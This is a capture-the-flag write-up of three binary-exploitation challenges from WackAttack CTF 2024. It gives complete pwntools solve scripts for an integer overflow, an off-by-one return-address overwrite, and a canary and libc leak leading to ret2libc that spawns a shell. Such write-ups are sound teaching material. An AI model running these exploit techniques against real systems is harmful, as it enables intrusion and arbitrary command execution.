This writeup covers three of the pwn challenges from WackAttack CTF 2024, organized by WackAttack. The CTF lasted for 48 hours, with my team placing 9th in the competition.
Dice Game
Initial Analysis
We are given a challenge binary, as well as the source code for the program. The win
function prints the flag to us when called.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
void roll_dice() {
int result = (rand() % 16) + 1;
printf("Rolling...\n");
sleep(2);
printf("You rolled %d. ", result);
if (result == 16) {
printf("You won, congrats!\n");
win();
} else {
printf("Too bad! I will keep the table open if you want to play more.\n\n");
getchar();
}
}
int main() {
setbuf(stdout, NULL);
long unsigned int balance = 30;
int seed = 7; // for good luck
int strength = 0;
printf("Let's play a game!\nThe entry fee is 10, but if you roll 16 you win everything i have!\n\n");
printf("First we need to tune our setup. How hard do you plan on rolling the dice (on a scale from 1-100)?\n");
scanf("%lu", &strength);
getchar();
if (strength > 50) {
printf("Wow that's strong... Let me increase the table length real quick!\n");
sleep(3);
}
printf("Thank you, lets get started.\n");
srand(seed);
while (balance >= 10) {
printf("Your current balance is: %d\n", balance);
printf("Would you like to play? (y/n)\n");
char choice[3] = {0};
fgets(choice, 2, stdin);
if (strncmp(choice, "y", 1) == 0 || strncmp(choice, "Y", 1) == 0) {
roll_dice();
balance -= 10;
} else {
printf("Okay, feel free to come back and play more later.");
return 0;
}
}
printf("Your current balance is: %d\n", balance);
printf("Thank you for playing, we hope you want to play more in the future!\n");
return 0;
}
Vulnerability
Seed = 7
will not result in (rand() % 16) + 1 == 16
for the first three generated numbers, so our goal is to change the seed so that this check passes. The strength
variable is an int, but when scanf("%lu", &strength);
is called it is reading an unsigned long
number into it. This datatype is larger than an int, and if large enough will overflow the strength
variable and overwrite the seed
variable. Thus, we only need to find a seed which satisfies the if-check, and we can get the flag!
The seed which gives us an immediate hit can be found using bruteforce. Running the program tells us that we want seed = 10
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
int main() {
int result;
for(int i = 0; i < 100; i++){
srand(i);
result = (rand() % 16) + 1;
if(result == 16){
printf("Seed: %d\n", i);
break;
}
}
return 0;
}
The size of an int is 4 bytes, and the size of an unsigned long is 8 bytes. This means that any value larger than 0xffffffff
will overflow into the seed. Because we want the seed to be 10, we can supply the value 0xaffffffff
(47244640255). The ff
’s can be any value, as this will be assigned the strength
variable, while 0xa
(10) will be assigned to the seed.
Solve
1
2
3
4
5
6
7
8
9
10
11
12
13
$ nc ctf.wackattack.eu 5011
Let's play a game!
The entry fee is 10, but if you roll 16 you win everything i have!
First we need to tune our setup. How hard do you plan on rolling the dice (on a scale from 1-100)?
45813801767
Thank you, lets get started.
Your current balance is: 30
Would you like to play? (y/n)
y
Rolling...
You rolled 16. You won, congrats!
wack{such_sk1ll_4nd_5uch_luck}
Stack
Initial Analysis
For this challenge we are given a binary and a Dockerfile. Running checksec on the binary shows the following protections.
1
2
3
4
5
6
7
$ pwn checksec ./stack
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Reversing the binary we see the following main function. The binary also has a win
function which is not called from anywhere.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __fastcall main(int argc, const char **argv, const char **envp) {
int result; // eax
__int64 v4; // [rsp+0h] [rbp-40h] BYREF
int v5[11]; // [rsp+Ch] [rbp-34h] BYREF
char v6[8]; // [rsp+38h] [rbp-8h] BYREF
setbuf(_bss_start, 0LL);
memset(&v4, 0, 0x40uLL);
while ( 2 )
{
puts("What would you like to do?\n1. push strings\n2. push numbers\n3. pop a value off the stack\n4. exit");
__isoc99_scanf("%d", v5);
getchar();
switch ( v5[0] ) {
case 1:
add_strings(v6);
continue;
case 2:
add_ints(v6);
continue;
case 3:
pop_value(v6);
continue;
case 4:
puts("Bye!");
result = 0;
break;
case 5:
debug_view(v6);
continue;
default:
puts("Invalid choice, bye");
result = 1;
break;
}
break;
}
return result;
}
Exploiting the Vulnerability
The program has its own “stack”, which just an array stored on the actual stack. It also has a typemap storing the index of the array, and if it is a string or an int stored on the corresponding index. We have the following operations we can do on the “stack” (from now on referred to as just stack):
- Add a string to the stack: This will malloc a buffer, write our input to the buffer, and store the address on the stack.
- Add an int to the stack: This will store an unsigned long on the stack.
- Pop value: Pops a value off the stack.
- Exit the program: Exits the program
- Debug view: Prints the content on the stack, but has an off-by-one error which makes it print one entry too much from the stack. Note that this is a secret option not being shown to us as an option when running the program.
There is no restriction on how many elements (strings or ints) we can add to the stack, and because it is stored on the actual stack we will eventually overwrite the stored return address. First however, we need a leak from the binary so that we can find the address of win
.
Because the debug view option has an off-by-one error, we can use it to print the stored return address when we are inside the debug_view
function. This will leak an address inside the main
function.
To do this, we add 8 elements to the stack (ints in this case)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
exe = context.binary = ELF(args.EXE or './stack')
io = exe.process()
io.sendlineafter(b"4. exit", b"2")
for i in range(8):
io.sendlineafter(b"main menu", b"1")
io.sendlineafter(b"number:", str(i).encode())
# Show stack
io.sendlineafter(b"main menu", b"2")
io.sendlineafter(b"4. exit", b"5")
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
$ python3 solve.py
Typemap: 00000000
8: 94890436339605
7: 7
6: 21474836486
5: 5
4: 4
3: 3
2: 2
1: 1
0: 0
The elements from 0-7 are our additions (element 6 is overwritten by the program after we put our value there), while element 8 is the off-by-one error leaking the an address in main. The baseaddress of the binary is 0x1795
less than this value. This also means that the next value we add to the stack will overwrite this stored return address.
Because we have the baseaddress of the binary we also know the address of win
, and adds this value to the stack.
Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
exe = context.binary = ELF(args.EXE or './stack')
io = remote('ctf.wackattack.eu', 5012)
io.sendlineafter(b"4. exit", b"2")
for i in range(8):
io.sendlineafter(b"main menu", b"1")
io.sendlineafter(b"number:", str(i).encode())
# Show stack
io.sendlineafter(b"main menu", b"2")
io.sendlineafter(b"4. exit", b"5")
# Capture leak
io.recvuntil(b"8: ")
leak = int(io.recvline().rstrip())
exe.address = leak - 0x1795
log.info(f"Leak @ {hex(leak)}")
log.info(f"Exe @ {hex(exe.address)}")
# Overwrite return address with win
io.sendlineafter(b"4. exit", b"2")
io.sendlineafter(b"main menu", b"1")
io.sendlineafter(b"number:", str(exe.sym.win).encode())
io.sendlineafter(b"main menu", b"2")
io.interactive()
1
2
3
4
5
6
7
$ python3 test.py
[+] Opening connection to ctf.wackattack.eu on port 5012: Done
[*] Leak @ 0x562e1a635795
[*] Exe @ 0x562e1a634000
[*] Switching to interactive mode
wack{st4cks_0n_st4cks_0n_st4cks}
The Real Division
Initial Analysis
This challenge provides us with a binary, Dockerfile, and source code for the binary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#define INPUT_LENGTH 0x64
#define MAX_ENTRIES 100
typedef struct entry {
unsigned int id;
int party;
char* issue;
} entry;
entry ht[MAX_ENTRIES];
void handler() {
char choice[8];
char code[20];
printf("A problem has been detected! Enter the 'debug' to enter debugging mode or 'exit' to exit: ");
int sig = fflush(stdout);
int stat = read(STDIN_FILENO, choice, INPUT_LENGTH);
printf("[DEBUG] Selected option: %s\n", choice);
if (strncmp("debug", choice, 5) == 0) {
printf("Enter your commands below:\n> ");
stat = read(STDIN_FILENO, code, INPUT_LENGTH);
return stat%sig;
} else {
exit(1);
}
}
void init() {
setbuf(stdout, NULL);
signal(SIGFPE, handler);
for (int i = 0; i < MAX_ENTRIES; i++){
ht[i].id = 0;
ht[i].party = 0;
ht[i].issue = 0;
}
}
int hash(int num) {
unsigned long int a = 2654435769;
return a/num % MAX_ENTRIES;
}
void store_result(int id, int choice, char* issue) {
int first_idx = hash(id);
int idx = first_idx;
if (ht[idx].id >= MAX_ENTRIES) {
idx = (idx + 1) % MAX_ENTRIES;
while (ht[idx].id >= MAX_ENTRIES) {
if (first_idx == idx) {
puts("Response storage is full, please transfer the results offsite and come back.");
exit(0);
}
idx = (idx + 1) % MAX_ENTRIES;
}
}
ht[idx].id = id;
ht[idx].party = choice;
ht[idx].issue = issue;
}
int survey(int* choice, char* issue) {
long id;
char input[0x64];
puts("Welcome to todays election poll");
printf("First, enter a numerical id (above %d and as unique as possible)\n> ", MAX_ENTRIES);
fgets(input, INPUT_LENGTH, stdin);
id = atol(input);
if (id < MAX_ENTRIES || id > __INT64_MAX__) {
printf("Ids below %d are reserved. We will now have to pause polling to clean up after you...\n", MAX_ENTRIES);
exit(1);
}
puts("Which political party do you support?");
puts("1. The blue one");
puts("2. The red one");
puts("3. The green one");
puts("4. The good one");
printf("> ");
fgets(input, INPUT_LENGTH, stdin);
*choice = atoi(input);
if (*choice < 1 || *choice > 4) {
puts("Maleficence detected, handling...");
exit(0);
}
printf("What is, in your mind, the most important issue at the moment?\n> ");
fgets(issue, INPUT_LENGTH, stdin);
issue[strcspn(issue, "\n")] = 0;
return id;
}
int main() {
setbuf(stdout, NULL);
init();
while (1) {
int choice;
unsigned int id;
char* issue = malloc(0x64);
id = survey(&choice, issue);
store_result(id, choice, issue);
puts("Thank you for participating, your responses have been registered. \nPlease leave the poll booth to make room for the next participant.\n");
}
return 0;
}
The init
function at the beginning of the program sets up a handler, SIGFPE
, which triggers if an arithmethic error (such as dividing by zero) occurs. After that, the program asks us to provide an id, which must be larger than 100, as well as some more data which is getting stored.
Running checksec
on the binary shows that canaries are enabled, but no PIE. Because there is not win function our goal is to use ret2libc
to get shell. This can however only be done after leaking a libc address, as well as the canary.
1
2
3
4
5
6
$ pwn checksec ./real_division
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Triggering SIGFPE
The handler
function contains two buffer overflow vulnerabilities where INPUT_LEN (100) bytes are read into buffers of size 8- and 20 bytes.
1
int stat = read(STDIN_FILENO, choice, INPUT_LENGTH);
and
1
stat = read(STDIN_FILENO, code, INPUT_LENGTH);
To get to this code, we must trigger the SIGFPE
. This can only occur in the hash
function if num = 0
.
1
2
3
4
int hash(int num) {
unsigned long int a = 2654435769;
return a/num % MAX_ENTRIES;
}
We have control over the id
variable, as the first input the program asks us for is assigned to this variable. We have to bypass an if-check which is meant to prevent us from assigning 0 to it.
1
2
3
4
5
id = atol(input);
if (id < MAX_ENTRIES || id > __INT64_MAX__) {
printf("Ids below %d are reserved. We will now have to pause polling to clean up after you...\n", MAX_ENTRIES);
exit(1);
}
However, it is still possible to make id = 0
when the hash
function is called. The datatype of the id
variable is long
, but the survey
function, which returns this id, returns an int
(and store_result
takes int id
as an argument)! This leads to a similar vulnerability as in the Dice Game
challenge. Setting the id to 0xffffffff + 1
(max int value + 1, which is 0x100000000), satisfies the condition id > 100
, and when it’s converted to an int only the four least significant bytes are kept. This leads to id = 0
after the conversion, triggering the zero-division error in the hash
function.
1
2
3
4
5
6
7
8
9
from pwn import *
exe = context.binary = ELF(args.EXE or './real_division')
libc = exe.libc
io = exe.process()
io.sendlineafter(b">", b"4294967296") # 0x100000000
io.sendlineafter(b">", b"1") # does not matter
io.sendlineafter(b">", b"1") # does not matter
Buffer Overflows
Because canaries are enabled, and we don’t know the baseaddress of libc, we need to leak both those values before we do ret2libc
.
Canaries always have a null-byte at its least significant byte, which makes printing-functions stop before they start printing the canary value (e.g. printf will stop printing at the first null-byte it finds). If we overwrite this null-byte in the canary, printf will end up printing the canary for us. This will overwrite one byte of the canary, usually resulting in stack smashing and the program exiting. Since we have another buffer overflow before the function returns, we can restore the canary value as if nothing happened to it. Note that we don’t have to overwrite the return address in this case, as the program after returning from handler
will re-enter this function infinitely.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Leak canary by overwriting until its null-byte
payload = b"debug" # to get second overflow our input must start with "debug"
payload = payload.ljust(33, b"A")
io.sendafter(b"exit:", payload)
# Capture leak
io.recvuntil(b"option: ")
leak = io.recvline()[len(payload):]
canary = unpack(leak[:7].rjust(8, b"\x00"))
log.info(f"Canary: {hex(canary)}")
# Restore canary to make the program not exit
payload = b"A"*24
payload += pack(canary)
io.sendafter(b">", payload)
After we have leaked the canary, we adjust the offset to leak a libc address. We get the adjusted offset from inspecting the stack with GDB.
1
2
3
4
5
6
7
8
9
10
11
# Leak libc address
payload = b"debug" # to get second overflow our input must start with "debug"
payload = payload.ljust(48, b"A")
io.sendafter(b"exit:", payload)
# Capture leak
io.recvuntil(b"option: ")
leak = unpack(io.recvline()[len(payload):].rstrip().ljust(8, b"\x00"))
libc.address = leak - 0x42520
log.info(f"Libc leak: {hex(leak)}")
log.info(f"Libc @ {hex(libc.address)}")
Once we have both the canary and the baseaddress of libc, we can perform ret2libc
to call system("/bin/sh")
with the next overflow.
1
2
3
4
5
6
7
8
9
# Call system("/bin/sh")
ret = 0x401016
rop = ROP(libc)
rop.raw(b"A"*24)
rop.raw(canary)
rop.raw(0) # rbp
rop.raw(ret) # stack alignment
rop.system(next(libc.search(b"/bin/sh\x00")))
io.sendafter(b">", rop.chain())
Solve Script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
exe = context.binary = ELF(args.EXE or './real_division')
libc = exe.libc
io = exe.process()
io.sendlineafter(b">", b"4294967296") # 0x100000000
io.sendlineafter(b">", b"1") # does not matter
io.sendlineafter(b">", b"1") # does not matter
# Leak canary by overwriting until its null-byte
payload = b"debug" # to get second overflow our input must start with "debug"
payload = payload.ljust(33, b"A")
io.sendafter(b"exit:", payload)
# Capture leak
io.recvuntil(b"option: ")
leak = io.recvline()[len(payload):]
canary = unpack(leak[:7].rjust(8, b"\x00"))
log.info(f"Canary: {hex(canary)}")
# Restore canary to make the program not exit
payload = b"A"*24
payload += pack(canary)
io.sendafter(b">", payload)
# Leak libc address
payload = b"debug" # to get second overflow our input must start with "debug"
payload = payload.ljust(48, b"A")
io.sendafter(b"exit:", payload)
# Capture leak
io.recvuntil(b"option: ")
leak = unpack(io.recvline()[len(payload):].rstrip().ljust(8, b"\x00"))
libc.address = leak - 0x42520
log.info(f"Libc leak: {hex(leak)}")
log.info(f"Libc @ {hex(libc.address)}")
# Call system("/bin/sh")
ret = 0x401016
rop = ROP(libc)
rop.raw(b"A"*24)
rop.raw(canary)
rop.raw(0) # rbp
rop.raw(ret) # stack alignment
rop.system(next(libc.search(b"/bin/sh\x00")))
io.sendafter(b">", rop.chain())
io.interactive()
1
2
3
4
5
6
7
8
$ python3 solve.py
[+] Opening connection to ctf.wackattack.eu on port 5018: Done
[*] Canary: 0x222721be3668f500
[*] Libc leak: 0x7fbaf3540520
[*] Libc @ 0x7fbaf34fe000
[*] Switching to interactive mode
$ cat flag.txt
wack{s33ms_possibl3_7/0_m3}